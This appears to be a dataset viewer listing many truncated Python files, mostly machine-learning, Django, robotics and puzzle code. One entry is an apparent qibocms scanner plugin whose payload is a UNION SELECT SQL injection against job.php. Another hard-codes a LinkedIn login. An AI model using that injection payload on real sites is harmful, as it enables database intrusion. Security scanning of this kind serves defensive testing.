text stringlengths 1 927k |
|---|
from gailtf.baselines.common import Dataset, explained_variance, fmt_row, zipsame
from gailtf.baselines import logger
import gailtf.baselines.common.tf_util as U
import tensorflow as tf, numpy as np
import time, os, sys
from gailtf.baselines.common.mpi_adam import MpiAdam
from gailtf.baselines.common.mpi_moments import... |
""" 86 - Crie um programa que declare uma matriz de dimensão 3×3 e preencha com valores lidos pelo teclado. No final,
mostre a matriz na tela, com a formatação correta. """
matriz = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
for l in range(0, 3):
for c in range(0, 3):
matriz[l][c] = int(input(f'Digite um valor para... |
"""
Django settings for turbotutorial project.
Generated by 'django-admin startproject' using Django 3.2.5.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from p... |
from .alexnet import AlexNet
from .cpm import CPM
from .hourglass import HourglassNet
from .hrnet import HRNet
from .mobilenet_v2 import MobileNetV2
from .mobilenet_v3 import MobileNetV3
from .mspn import MSPN
from .regnet import RegNet
from .resnest import ResNeSt
from .resnet import ResNet, ResNetV1d
from .resnext im... |
import collections
import unittest
from typing import List
import utils
target = (1, 2, 3, 4, 5, 0)
swaps = [
[1, 3],
[0, 2, 4],
[1, 5],
[0, 4],
[1, 3, 5],
[2, 4],
]
# BFS, shortest path.
class Solution:
def slidingPuzzle(self, board: List[List[int]]) -> int:
cur = tuple(cell fo... |
from .result_tree import ResultTree
from .utils import VarType
from .dataloader import DataLoader |
from typing import Optional
from overrides import overrides
import torch
from allennlp.training.metrics.metric import Metric
@Metric.register("entropy")
class Entropy(Metric):
def __init__(self) -> None:
self._entropy = 0.0
self._count = 0
@overrides
def __call__(
self, # type:... |
# Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompa... |
from .config import Test, TestArtifactServiceClient, SubConfigTest |
# P2P autonomous GO test cases
# Copyright (c) 2013-2015, Jouni Malinen <j@w1.fi>
#
# This software may be distributed under the terms of the BSD license.
# See README for more details.
from remotehost import remote_compatible
import time
import subprocess
import logging
logger = logging.getLogger()
import hwsim_util... |
# generated by datamodel-codegen:
# filename: storage.json
from __future__ import annotations
from typing import Any, Dict, List
from pydantic import BaseModel
class Key(BaseModel):
address: str
nat: str
class LedgerItem(BaseModel):
key: Key
value: str
class Key1(BaseModel):
operator: st... |
"""This file implements the functionalities of a minitaur using pybullet.
"""
import copy
import math
import numpy as np
from gibson2.core.physics.drivers import motor
from gibson2.core.physics.robot_locomotors import LocomotorRobot
from gibson2.core.physics.robot_bases import Joint, BodyPart
import os, sys
import pyb... |
"""programs URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.9/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-ba... |
#!/usr/bin/env python3
"""
./add-shell-server.py
Adds a shell server to the website.
"""
import api
import argparse
import os
import sys
def main(args):
# If a server by this name exists short circuit no action necessary
servers = api.shell_servers.get_all_servers()
for s in servers:
if s["name... |
import os
import time
import torch
import argparse
from tqdm import tqdm
import torch.optim as optim
import torch.nn.functional as F
from torch.utils.data import DataLoader
from torch.utils.tensorboard import SummaryWriter
from utils import (
load_files,
save_pickle,
fix_seed,
print_model,
CosineAnn... |
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
import argparse
import cv2
import os
from maskrcnn_benchmark.config import cfg
from predictor import COCODemo
from timeit import default_timer as timer
import time
def main():
parser = argparse.ArgumentParser(description="PyTorch Object Detec... |
"""
This is an example of a Protein viewer app, using the [NGL Viewer]\
(https://github.com/nglviewer/ngl).
You can import it from the `awesome-panel-extensions` package via
`from awesome_panel_extensions.widgets.ngl_viewer import NGLViewer`.
The NGL Viewer was developed with help from the community. Checkout [Discou... |
import sys
import multiprocessing
import os.path as osp
import gym
from collections import defaultdict
import tensorflow as tf
import numpy as np
from baselines.common.vec_env.vec_video_recorder import VecVideoRecorder
from baselines.common.vec_env.vec_frame_stack import VecFrameStack
from baselines.common.cmd_util im... |
"""
Follow up for "Unique Paths":
Now consider if some obstacles are added to the grids. How many unique paths would there be?
An obstacle and empty space is marked as 1 and 0 respectively in the grid.
For example,
There is one obstacle in the middle of a 3x3 grid as illustrated below.
[
[0,0,0],
[0,1,0],
[0,... |
import pyeapi
from getpass import getpass
from my_funcs import function1, function2
from pprint import pprint
def main():
all_table = list()
hosts = function1('ex2b.yml')
for host in hosts:
print("Connecting to...", host.get('host'))
connection = pyeapi.client.connect(**host, password=getpa... |
"""
WSGI config for pyFact project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/
"""
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pyFact.settings")
from django.core.wsg... |
from collections import OrderedDict
import datetime
import re
import itertools
from operator import attrgetter
from hashlib import md5
from moto.core import BaseBackend, BaseModel, CloudFormationModel
from moto.core.utils import unix_time, BackendDict
from moto.core import get_account_id
from moto.utilities.paginator... |
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from dataclasses import dataclass, field
import itertools
import json
import logging
import os
from typing import Optional
from argparse impor... |
# This file exists to allow the hoomd module to import from the source checkout dir
# for use when building the sphinx documentation. |
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
if __name__ == '__main__':
# Одноклеточная амеба каждые три часа делится на 2 клетки. Определить, сколько будет клеток через 6 часов.
f = 1
n = int(input('Введите кол-во часов'))
u = n // 3
f = f * u
print(f) |
from game.pole import PolesObject
from game.agent import Agent
from pygame import Rect
import pygame, struct
import numpy as np
class Game:
def __init__(self, resolution):
self.resolution = resolution
self.screen = pygame.display.set_mode(resolution) # init window
self.playerpos = (0, resol... |
# Copyright (c) 2014 Evalf
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, s... |
# -*- coding: utf-8 -*- {{{
# vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et:
#
# Copyright 2017, Battelle Memorial Institute.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www... |
from pyrogram import Client, filters
from pyrogram.types import Message
from bot import Bot
@Bot.on_message(filters.command("start"))
async def start(c: Client, m: Message):
await c.send_message(
m.chat.id,
f"Hi {m.from_user.first_name}. I am an account info checker inspired by @SpEcHIDe 's @Check... |
# SPDX-License-Identifier: MIT
import os, os.path, plistlib, shutil, sys, stat, subprocess, urlcache, zipfile, logging, json
import osenum, firmware.wifi
from util import *
class StubInstaller(PackageInstaller):
def __init__(self, sysinfo, dutil, osinfo, ipsw_info):
super().__init__()
self.dutil = ... |
from kittens.tui.handler import result_handler
import os
def main(args):
pass
@result_handler(no_ui=True)
def handle_result(args, result, target_window_id, boss):
window_title = "termpdf"
termpdf_cmd = "termpdf.py"
cmd = termpdf_cmd + " " + os.path.expanduser(args[1])
# Runs a command in the window
def r... |
#
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License 2.0;
# you may not use this file except in compliance with the Elastic License 2.0.
#
import multiprocessing
from multiprocessing.queues import Queue
BATCH_SIZE ... |
import sys
from setuptools import find_packages
from setuptools import setup
from setuptools.command.test import test as TestCommand
version = '1.1.0.dev0'
# Please update tox.ini when modifying dependency version requirements
install_requires = [
'acme>=0.31.0',
'certbot>=1.0.0.dev0',
'dns-lexicon>=2.2.... |
#!/usr/bin/env python3
# -UTF-8
# ***********************************************************
# SCRIPT copy_a_file: Copy a file line by line
# Usage: copy_a_file <file source> <new file destination>
# In BASH: python copy_a_file.py copyingfile newfile
import sys
import os
def main():
# Verify the script comman... |
import pybullet as p
import time
import numpy as np
objects = ['apple', 'orange', 'banana', 'milk', 'orange']
p.connect(p.GUI)
p.setGravity(0, 0, -9.8)
#planeId = p.loadURDF("plane.urdf", [0, 0, 0])
TableId = p.loadURDF("table/table.urdf", [0.45, 0.35, -0.65])
indyId= p.loadURDF("indy7.urdf", [0, 0, 0])
num_obj = len(o... |
"""Podcast registration tests."""
from httplib import OK
from django.contrib.auth.models import User
from django.core.urlresolvers import reverse
from django.test import TestCase
class RegistrationTestCase(TestCase):
def setUp(self):
self.account_login_url = reverse('account_login')
self.regist... |
from osbot_aws.apis.Lambda import Lambda
from osbot_aws.helpers.Lambda_Package import Lambda_Package
from gw_bot.Deploy import Deploy
from osbot_aws.helpers.Test_Helper import Test_Helper
from osbot_utils.utils.Dev import Dev
from osbot_jira.lambdas.graph import run
class test_lambda_gsbot_graph(Test_Helper):
d... |
#!/usr/bin/python3
# coding: utf-8
import requests
import queries
from jinja2 import Environment, FileSystemLoader
import os
import json
import sys, os
sys.path.append(os.curdir)
from wp2pelicanconf import *
from getfromwp import *
if __name__ == "__main__":
print('Starting')
posts = Content("posts", queri... |
#!/usr/bin/env python
#
# A quick script to unzip a .zip archive and put the files in a
# subdirectory that matches the basename of the .zip file.
#
# This is actually generic functionality, it's not SCons-specific, but
# I'm using this to make it more convenient to manage working on multiple
# changes on Windows, wher... |
from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType
import copy as _copy
class Hoverlabel(_BaseTraceHierarchyType):
# class properties
# --------------------
_parent_path_str = "funnelarea"
_path_str = "funnelarea.hoverlabel"
_valid_props = {
"align",
... |
#!/usr/bin/env python
"Basic Class: variable"
if __name__ == '__main__':
print 'VariableClass is running by itself'
else:
print 'VariableClass is imported as module'
class variable:
def __init__(self, name = [], domain= []):
self.name = name
self.domain = domain |
import os
import mainlib1 as run
import time
import random as rn
linkedin_username = "keshavjain16@outlook.com"
linkedin_password = "P"
instant_id = 0
search_limit_url = 100
url_table1 = 'prod.workondomain'
dir_path = 'C:\\Users\\Administrator\\Desktop\\'
min_time = 3600
while True:
strt_tm = time.time()
... |
"""empty message
Revision ID: 9c89305219d0
Revises:
Create Date: 2019-11-21 09:51:18.145990
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '9c89305219d0'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto gene... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Based on AboutArrays in the Ruby Koans
#
from runner.koan import *
class AboutLists(Koan):
def test_creating_lists(self):
empty_list = list()
self.assertEqual(list, type(empty_list))
self.assertEqual(0, len(empty_list))
# an empty... |
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
logger = logging.getLogger()
def set_logger():
logger.setLevel(logging.INFO)
formatter = logging.Formatter('%(asctime)s - %(process)d-%(threadName)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s')
console_handler = logging.St... |
invalid_property_value_test_cases = [
#(<base_width>, <side_slope_1>, <side_slope_2>, <flow_depth>)
(0, 0, 0, -0.000001),
(0, 0, -0.000001, 0),
(0, -0.000001, 0, 0),
(-0.000001, 0, 0, 0),
(1, 1, 1, -1),
(1, 1, -1, 1),
(1, -1, 1, 1),
(-1, 1, 1, 1)
]
undefined_flow_depth_test_cases ... |
"""Support for Telegram bots using webhooks."""
import datetime as dt
from ipaddress import ip_address
import logging
from telegram.error import TimedOut
from homeassistant.components.http import HomeAssistantView
from homeassistant.const import (
EVENT_HOMEASSISTANT_STOP,
HTTP_BAD_REQUEST,
HTTP_UNAUTHORI... |
# -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
#... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service,arg):
if service == "qibocms":
return True, arg
def audit(arg):
payload = "f/job.php?job=getzone&typeid=zone&fup=..\..\do\js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,md5(233),... |
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of t... |
from abc import ABC, abstractmethod
from collections import abc
from typing import Any, Dict, List, Mapping, Optional
from ..errors import ConfigurationOverrideError
def apply_key_value(obj, key, value):
key = key.strip("_:") # remove special characters from both ends
for token in (":", "__"):
if to... |
import json
import os
from app import app
def invalid_file_error_response(data) -> json:
data = {"detail_error": 'File format not supported only supported are .jpeg and .png but received a' + ' ' + data}
response = app.response_class(
response=json.dumps(data),
status=400,
mimetype='a... |
"""
Fast R-CNN:
data =
{'data': [num_images, c, h, w],
'rois': [num_rois, 5]}
label =
{'label': [num_rois],
'bbox_target': [num_rois, 4 * num_classes],
'bbox_weight': [num_rois, 4 * num_classes]}
roidb extended format [image_index]
['image', 'height', 'width', 'flipped',
'boxes', 'gt_classe... |
import py
from prolog.interpreter.signature import Signature
from prolog.interpreter.parsing import parse_file, TermBuilder, OrderTransformer
from prolog.interpreter.parsing import parse_query_term, ParseError
from prolog.interpreter.heap import Heap
from prolog.interpreter import error
def test_simple():
t = par... |
# -*- coding: utf-8 -*-
# Copyright 2014-2016 OpenMarket Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... |
#!/usr/bin/python
import json
import numpy as np
import pandas as pd
import math
class BinRange():
def __init__(self, dataMinValue, dataMaxValue, targetBinNumber):
self.dataMinValue = float(dataMinValue)
self.dataMaxValue = float(dataMaxValue)
self.targetBinNumber = float(targetBinNumber)
... |
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# Python standard library
from __future__ import print_function
from shutil import copytree
import os, re, json, sys, subprocess
# Local imports
from utils import (git_commit_hash,
join_jsons,
fatal,
which,
exists,
err)
from . import version as __ver... |
# Python imports
import logging
import os
# Project imports
import utils as helpful_funcs
# 3rd party imports
from metaflow import FlowSpec, Parameter, step, card
import numpy as np
# How to run
# python helpful_flow.py run --output_dir test_run
class HelpfulFlow(FlowSpec):
"""
This flow will run the Helpf... |
from typing import Callable
from pyrogram import Client
from pyrogram.types import Message
from VCPlayBot.config import SUDO_USERS
from VCPlayBot.helpers.admins import get_administrators
def errors(func: Callable) -> Callable:
async def decorator(client: Client, message: Message):
try:
retur... |
import logging
import dns.rdatatype
import re
from tests.utils.custom_test_case import CustomTestCase as CTC
from dnssec_scanner import DNSSECScanner, State
from dnssec_scanner.messages import Validator, Msg, Types
from tests.utils.messages_testing import TestMessage
log = logging.getLogger("dnssec_scanner")
log.set... |
import torch
import torch.nn as nn
from torch.nn import functional as F
import torchvision
import torchvision.transforms as transforms
from torchvision.transforms import ToTensor
from torchvision.transforms import ToPILImage
import os
import cv2
import wget
import imutils
from tqdm import tqdm, tqdm_notebook
from PIL ... |
# --------------
import pandas as pd
import numpy as np
from sklearn.cross_validation import train_test_split
# code starts here
data = pd.read_csv(path)
df = pd.DataFrame(data)
#print(df.iloc[0:5])
X = df.drop(['list_price'], axis = 1)
y = df.iloc[:, 1]
X_train, X_test, y_train, y_test = train_test_split (X, y, tes... |
from sympy.strategies.core import (null_safe, exhaust, memoize, condition,
chain, tryit, do_one, debug, switch, minimize)
from functools import partial
def test_null_safe():
def rl(expr):
if expr == 1:
return 2
safe_rl = null_safe(rl)
assert rl(1) == safe_rl(1)
assert ... |
import ee
from ee_plugin import Map
# Make a date filter to get images in this date range.
dateFilter = ee.Filter.date('2014-01-01', '2014-02-01')
# Load a MODIS collection with EVI data.
mcd43a4 = ee.ImageCollection('MODIS/MCD43A4_006_EVI') \
.filter(dateFilter)
# Load a MODIS collection with quality data.
mc... |
import contextlib
import copy
import hashlib
import logging
import threading
from django.db import connection, connections, router
from django.db import models
from django.db.models.expressions import Col
from django.db.models.fields.related import RelatedField
from django.db.models.sql import Query
from django.db.mod... |
"""
Author: Ibrahim Sherif
Date: October, 2021
This script holds the conftest data used with pytest module
"""
import os
import pytest
import pandas as pd
import great_expectations as ge
from sklearn.model_selection import train_test_split
import config
from pipeline.data import get_clean_data
@pytest.fixture(scope=... |
# Copyright 2012, Nachi Ueno, NTT MCL, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... |
class State(object):
def __init__(self, port=None, state_dict=None):
self.port = port
self.mode = state_dict['mode'] if state_dict is not None else None
self.direction = state_dict['direction'] if state_dict is not None else None
self.voltage = state_dict['voltage'] if state_dict i... |
import aioredis
from aioredis import Redis
class RedisWrapper:
"""A Redis wrapper class for usage in FastAPI endpoints."""
def __init__(self):
self.conn: Redis = None
async def create_redis(self):
"""Close the connection. Use at server startup."""
self.conn = aioredis.from_url(
... |
import typing as t
from corm import Storage, Entity, Relationship, Nested
class Item(Entity):
id: int
items: t.List['Item'] = Nested(
entity_type='Item',
back_relation=True,
many=True,
default=list,
)
parent: 'Item' = Relationship(entity_type='Item')
storage = Storag... |
"""
VerseBot for Reddit
By Matthieu Grieger
Continued By Team VerseBot
regex.py
Copyright (c) 2015 Matthieu Grieger (MIT License)
"""
import re
def find_verses(message_body):
""" Uses regex to search comment body for verse quotations. Returns
a list of matches if found, None otherwise.
:param message_bo... |
import os
import socket
from cStringIO import StringIO
import logging
from consts import *
from master import MasterConn
from cs import read_chunk, read_chunk_from_local
MFS_ROOT_INODE = 1
logger = logging.getLogger(__name__)
class CrossSystemSymlink(Exception):
def __init__(self, src, dst):
self.src = ... |
from __future__ import absolute_import
from django.utils.translation import ugettext as _
from zerver.lib.actions import check_send_message
from zerver.lib.response import json_success, json_error
from zerver.decorator import REQ, has_request_variables, api_key_only_webhook_view
from zerver.models import UserProfile
... |
from __future__ import annotations
from collections import defaultdict
from typing import TYPE_CHECKING
from typing import DefaultDict
from poetry.console.commands.command import Command
if TYPE_CHECKING:
from poetry.core.packages.package import Package
class PluginShowCommand(Command):
name = "plugin sh... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# #############################################################################
# Copyright (c) 2008, Kevin Horton
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions a... |
#!/usr/bin/env python
import os
import sys
from setuptools import setup
# This provides the variable `__version__`.
if sys.version_info[0] < 3:
execfile('opensim/version.py')
else:
exec(compile(open('opensim/version.py').read(), 'opensim/version.py', 'exec'))
setup(name='opensim',
version=__version__,
... |
"""youtube URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based... |
# Copyright 2019-2020 The ASReview Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
from googlesearch import search
import requests
import webbrowser
def find(question):
url=next(search(question))
webbrowser.open(url)
if __name__=="__main__":
find("apple") |
from panther_base_helpers import deep_get
QUERIES = {"pack_incident-response_alf", "pack/mac-cis/ApplicationFirewall"}
def rule(event):
if event.get("name") not in QUERIES:
return False
if event.get("action") != "added":
return False
return (
# 0 If the firewall is disabled
... |
import datetime
import pickle
import tweepy as tp
import pandas as pd
import time
def lookUpDetail(ids):
"""
:param ids: the list of tweets ids, the maximum length is 100 at a time.
:return: dataframe which include 'tweet_id', 'favorite_count', 'retweet_count', 'lang',
'hashtags', 'url', 'user_id'
... |
def primes_upto(n):
"""
Sieve of Drathostenes
"""
multiples = set()
yield 2
# Optimization: Add the even numbers
multiples.update(range(4, n, 2))
for p in range(3,n,2):
if p not in multiples:
# Found a prime!
yield p
multiples.update(range(p*2,... |
#!/usr/bin/env python2
#-*- coding: UTF-8 -*-
#Author: Yang Liu <largelymfs@gmail.com>
#Description: Topical Word Embedding TWE-2
def generate(input_filename, output_filename, logfile, id2word):
word_label = 0
content2id = {}
id2content = {}
id2number = {}
with open(input_filename) as input:
... |
"""Code for computing window functions in the dask backend."""
import operator
from typing import Any, Optional, Union
import dask.dataframe as dd
import ibis.expr.operations as ops
import ibis.expr.window as win
from ibis.backends.dask.core import execute, execute_with_scope
from ibis.backends.dask.dispatch import ... |
from __future__ import division
import boost.python
ext = boost.python.import_ext("std_pair_ext")
from std_pair_ext import * |
# Man - UserBot
# Copyright (c) 2022 Man-Userbot
# Credits: @mrismanaziz || https://github.com/mrismanaziz
#
# This file is a part of < https://github.com/mrismanaziz/Man-Userbot/ >
# t.me/SharingUserbot & t.me/Lunatic0de
import asyncio
from telethon.tl.functions.channels import EditAdminRequest, InviteToChannelReque... |
import asyncio
import json
from _utils import print_response
import aiorequests
def main(*args):
r = yield from aiorequests.post(
'http://httpbin.org/post',
json.dumps({'msg': 'Hello'}),
headers={'Content-Type': 'application/json'})
print((yield from r.text()))
asyncio.get_event_loo... |
a=5 #variable declaration (5 is assigned to variable a)
print(a,"is a type of", type(a)) #type(a)--> command is used to identify the type of variable 'a' here
b=7.5
print(b,"is a type of", type(b))
c="hello"
print(c,"is a type of", type(c)) |
import os
from contextlib import contextmanager
from conans import tools # @UnusedImport KEEP THIS! Needed for pyinstaller to copy to exe.
from conans.client.tools.env import pythonpath
from conans.errors import ConanException
from conans.model.build_info import DepsCppInfo
from conans.model.env_info import DepsEnvIn... |
# Author: Xavier Paredes-Fortuny (xparedesfortuny@gmail.com)
# License: MIT, see LICENSE.md
import sys
import numpy as np
from astropy.coordinates import SkyCoord
from astropy import units as u
import itertools
param = {}
execfile(sys.argv[1])
def find_target(ra, dec, ra0, dec0, fl, testing=0):
tar = SkyCoord(r... |
import vanilla
import psycopg2
import sys
import json
import hashlib
import base64
import users
import getpass
if __name__ == "__main__":
with open(sys.argv[1],'r') as fin:
conf = json.load(fin)
connPool = vanilla.buildConnectionPool(psycopg2,**conf['webapi']['postgresql'])
u = users.Users(conf['salt'])
u.setCo... |
from abc import ABC
from dataclasses import dataclass
from distutils.util import strtobool
from pathlib import Path
import consts
from assisted_test_infra.test_infra.utils.env_var import EnvVar
from consts import env_defaults, resources
from triggers.env_trigger import DataPool
@dataclass(frozen=True)
class _EnvVari... |
# stdlib
import unittest
# pypi
from httpbin import app as httpbin_app
import pytest_httpbin.serve
import requests
# local
import metadata_parser
# ==============================================================================
class SessionRedirect(requests.Session):
num_checked = None
def get_redirect_ta... |
# -*- coding: utf-8 -*-
from utils import paper
web_url = "https://www.nature.com/articles/s41586-021-03359-9"
pdf_directory = r"G:\\Test_Download_paper\\PDF"
ris_directory = r"G:\\Test_Download_paper\\RIS"
paper1 = paper(web_url, pdf_directory= pdf_directory, ris_directory= ris_directory)
paper1.download() |
import discord
from discord.ext import commands
from pathlib import Path
from collections import OrderedDict
import json
class ControlPanel(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.panel = str(Path('cogs/data/panel.json'))
@commands.Cog.listener()
async def on_ready(sel... |
# file openpyxl/reader/style.py
# Copyright (c) 2010 openpyxl
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, m... |
from abc import ABC, abstractmethod
from typing import Any, Dict, Tuple
import numpy as np
class BaseSplitter(ABC):
"""Base class for performing splits."""
@abstractmethod
def _split(self,
dataset: np.ndarray,
frac_train: float = 0.75,
frac_valid: float = 0.1... |
#
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
#
import os
from .agent import Agent, TAgent
from .workspace import Workspace
trace_workspace = False
trace = []
trace_maximum_size = 1000... |
# Natural Language Toolkit: Sequential Backoff Taggers
#
# Copyright (C) 2001-2014 NLTK Project
# Author: Edward Loper <edloper@gmail.com>
# Steven Bird <stevenbird1@gmail.com> (minor additions)
# Tiago Tresoldi <tresoldi@users.sf.net> (original affix tagger)
# URL: <http://nltk.org/>
# For license info... |
import os
import os.path as osp
import numpy as np
from summit.benchmarks.experiment_emulator.emulator import Emulator
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from blitz.modules import BayesianLinear
from blitz.utils import variational_estimator
from sklearn.m... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.